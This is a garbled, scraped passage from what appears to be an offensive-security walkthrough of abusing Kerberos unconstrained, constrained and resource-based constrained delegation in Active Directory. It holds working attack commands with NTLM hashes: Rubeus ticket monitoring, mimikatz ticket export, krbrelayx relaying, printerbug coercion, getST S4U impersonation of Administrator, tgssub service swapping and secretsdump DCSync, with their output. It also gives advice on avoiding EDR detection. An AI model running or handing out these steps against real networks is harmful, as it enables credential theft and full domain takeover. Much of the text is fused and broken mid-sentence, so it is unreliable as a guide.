useraccountcontrol : TRUSTED_FOR_DELEGATION), the KDC will send to the user a TGT (Ticket Granting Ticket) with the "Forwardable" flag, this flag enables the TGT to be valid to any machine in the domain.
Due to the nature of this delegation type, a machine with "unconstrained delegation" (
useraccountcontrol : TRUSTED_FOR_DELEGATION), attribute can NOT ask for a TGT on the user behalf, the machine must obtain the TGT from the user/computer which wants to access a service hosted on the "unconstrained delegation" machine, due to these limitations, the exploitation of this delegation is a bit different.
When a TGS is requested for a service with Unconstrained Delegation enabled, a new Forwardable TGT will be generated to be placed inside the newly crafted TGS, the Forwardable TGT is encrypted inside the TGS with the NTLM (RC4 hash)/AES key of the Unconstrained Delegation machine.e.g.
domina.local\Machine$ :baac3929fabc9e6dcd32421ba94a84d4- the encryption key will be the
UserAccountControlattribute, the attribute in "constrained" delegation will be
TRUSTED_TO_AUTH_FOR_DELEGATIONunlike unconstrained which is
TRUSTED_FOR_DELEGATION, the difference lays in
TO_AUTH, where in constrained delegation, the machine can authenticate and ask for a ticket on another user behalf, and affectively impersonate that user - BUT It is constrained to a specific service, which limits the scope of exploitation (In case the a port is not defined within the SPN, an attacker can alter the SPN and access other services).
ms-DS-Allowed-To-Delegate(in LDAP it is written as
msds-allowedtodelegateto) is the attribute which indicates which SPNs we can use.
Constrained Delegationattack, much easier to exploit.
Constrained Delegationbut instead of giving permissions for a machine to impersonate any user against certain services,
Resource-Based Constrain Delegation(otherwise known as RBCD) sets a value in the target machine, that define which machine account can impersonate as other users on the target machine itself, this means that the impersonation permission will be written on the target machine object.
An RBCD configured machine (the target) has an attribute called
msDS-AllowedToActOnBehalfOfOtherIdentity - this attribute will contains a SID of the machine account that can act on behalf of other users on the RBCD machine. In example, lets say we have two machines, MACHINE-A and MACHINE-B, and the SID of MACHINE-B is
S-1-5-21-3419697060-3810377854-678604692, if the attribute
msDS-AllowedToActOnBehalfOfOtherIdentity on MACHINE-A contains the MACHINE-B SID, It will mean that MACHINE-B can requests tickets as any user on MACHINE-A on any service , this usually results in a local administrator privileges while impersonating a domain admin.
Unlike constrained delegation where the target machines will not have any indication that they might be vulnerable to such attack, and the abused constrained delegation machine will have the attack path information stored on its'
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
By default, Kerberos tickets are encrypted using RC4 + HMAC which is the NT Hash of the machine account (if the Unconstrained Delegation is set on a computer object), sometimes, organizations can set the encryption of the ticket to use AES256 and other types, these types are assigned with a number representing those encryption types.
useraccountcontrol : TRUSTED_TO_AUTH_FOR_DELEGATION
Second of all, we must verify two rules:
(18:AES256 CTS mode with HMAC SHA1-96)
(17:AES128 CTS mode with HMAC SHA1-96)
(20:AES256 CTS mode with HMAC SHA384-192)
(19:AES128 CTS mode with HMAC SHA256-128)
(16:DES3 CBC mode with SHA1-KD)
(23:RC4 with HMAC)
Rubeusin addition to using other coerce methods.
Rubeuson monitor mode and listen for new tickets obtained while dumping new tickets to the disk.
This method can also be exploited with
.\Rubeus.exe monitor /targetuser:<username> /interval:10
mimikatzwe can dump tickets and then use them with a
Nowadays when EDRs / XDRs installed on endpoints is pretty common, these options are often not feasible, and might also give the blue team an indication that we are attacking the station which might result in losing the access we obtained.
kerberos::list /export # Another way
ms-DS-Additional-Dns-Host-Name(in LDAP it is
msds-additionaldnshostname), and adding a DNS record to the
msds-additionaldnshostnamefield, with the IP of our attacking machine.
Unconstrained Delegationmachine named as
DEG$. - since we have compromised this machine, we have
SYSTEMaccess to this machine which means we can use
mimikatzand obtain the machine
AESkeys, our attacker IP is
10.0.0.8, and the FAKE hostname we will insert into the
ms-DS-Additional-Dns-Host-Namefield will be
ATT30.labs.local, then we add a DNS record to
ATT30.labs.localwhich points to
Note: In AD environment every domain user can add DNS records if they do not exist.Lets sort out the facts.
DEG$- A compromised unconstrained delegation machine. (NTLM hashes in hand).
10.0.0.8- Kali IP
ms-DS-Additional-Dns-Host-Namewill be populated with
After adding the SPNs and editing the
python.exe Invoke-unconstrained.py -u LABS\DEG$ -p aad3b435b51404eeaad3b435b51404ee:fd8d7a6f868dc2d81aaf3eb3a9ea6adc -t DEG$ -ah ATT30.labs.local -aip 10.0.0.8 10.0.0.5
ms-DS-Additional-Dns-Host-Namefield , the attack is ready to be exploited, there are 2 steps left in order to fulfill the exploitation process
In the screenshot above with all of the cool hackers stuff on the screen, we used the
printerbug.py to trigger authentication from the domain controller to our kali attacking machine, as can be seen when we point it to
10.0.0.8 (explicitly using an IP address) - the attack fails (marked in a green square, top-left side), BUT when pointing it to our newly added DNS record at
ATT30.labs.local we obtain a TGT as the domain controller, which affectively, give us a full domain compromise, this happens due to the SPNs that
Invoke-unconstrained.pyscript, we run
krbrelayx.pyand ANY coerce technique of choice, in our example case we used the
NOTE: When executing the
Invoke-unconstrained.py on kali, it will automatically run
krbrelayx.py with the
-hashes argument containg the RC4 of the machine account, and then execute
krbrelayx.pyshould be launched with the
-hashes) argument contains the hash of the machine.
krbrelayx.pywould look as follows:
python3 krbrelayx.py -hashes :fd8d7a6f868dc2d81aaf3eb3a9ea6adc
krbrelayx.py, we are now prepared to execute our desired coerce option, for demonstration purposes we used the following command:
python3 printerbug.py LABS/DEG\$@10.0.0.5 -hashes :fd8d7a6f868dc2d81aaf3eb3a9ea6adc ATT30.labs.local
Pay attention we are using the HOSTNAME that we populated in the
ms-DS-Additional-Dns-Host-Name attribute, and that is it! we fully automated the exploitation of unconstrained delegation, without downloading and executing attack tools on the victim machine.
As can be seen, the state file is composed from the machine name, date and time, so we can firmly know what is the last state we had.
python.exe Invoke-unconstrained.py -u LABS\DEG$ -p aad3b435b51404eeaad3b435b51404ee:fd8d7a6f868dc2d81aaf3eb3a9ea6adc -r .\DEG-2023-10-25--15-30-23.434234 10.0.0.5
Constrained Delegation, you need the
machineNTLM hash (the machine configured with
Constrained Delegation), with that hash, you can act as the machine itself and request a ticket as any user to any SPN listed under the
ms-DS-Allowed-To-Delegateattribute (in LDAP it is written as
http/dc01.labs.localcan be altered to
mssql/dc01.labs.local:1433cannot be altered due to the hardcoded port, lets say our machine
Constrained Delegationon the SPN
HTTP/DC01.labs.local- which does not really help us if we do not have a service on HTTP ports that we can exploit.
Constrained Delegationgoes as follows:
In the above it is shown how we request a ticket to the
getST.py LABS/CONSDEG$ -spn http/dc01.labs.local -hashes :0ff081fed30c81a7325d02edfb48209b -impersonate Administrator -dc-ip 192.168.117.131
Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
HTTPservice, but as the name suggests it is a domain controller, and
CIFSticket will be best so we can perform a dcsync attack, to be able to achieve that, we can use the following tool tgssub.py, this tool will allow us to change the ticket SPN to a different service, and obtain a
CIFSticket even though the ticket we were granted is for
And then we use the newly formed ticket with:
tgssub.py -altservice CIFS/dc01.labs.local -in Administrator.ccache -out Administrator2.ccache
Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra[*] Number of credentials in cache: 1
[*] Changing service from http/dc01.labs.local@LABS.LOCAL to CIFS/dc01.labs.local@LABS.LOCAL
[*] Saving ticket in Administrator2.ccache
and now we can execute a
Boom, we exploited an "unexploitable"
secretsdump.py -k -no-pass DC01.labs.local
Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra
[*] Target system bootKey: 0xca57fe52b0b4d43a836eea863c9ff9d7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
msDS-AllowedToActOnBehalfOfOtherIdentityattribute on the victim machine (target).
in our above example the SID of the
getST.py LABS/CONSDEG$ -spn cifs/RBCDvictim.labs.local -hashes :0ff081fed30c81a7325d02edfb48209b -impersonate Administrator -dc-ip 192.168.117.131
LABS/CONSDEG$machine account is written in the
msDS-AllowedToActOnBehalfOfOtherIdentityattribute of the
LABS/CONSDEG$machine to request a ticket as any user, for any service on the
RBCDvictim.labs.localmachine, but since this ticket is not forwardable, we cannot perform actions on other servers using this service (e.g adding a domain users, giving other users "Domain Admin" permissions, etc.).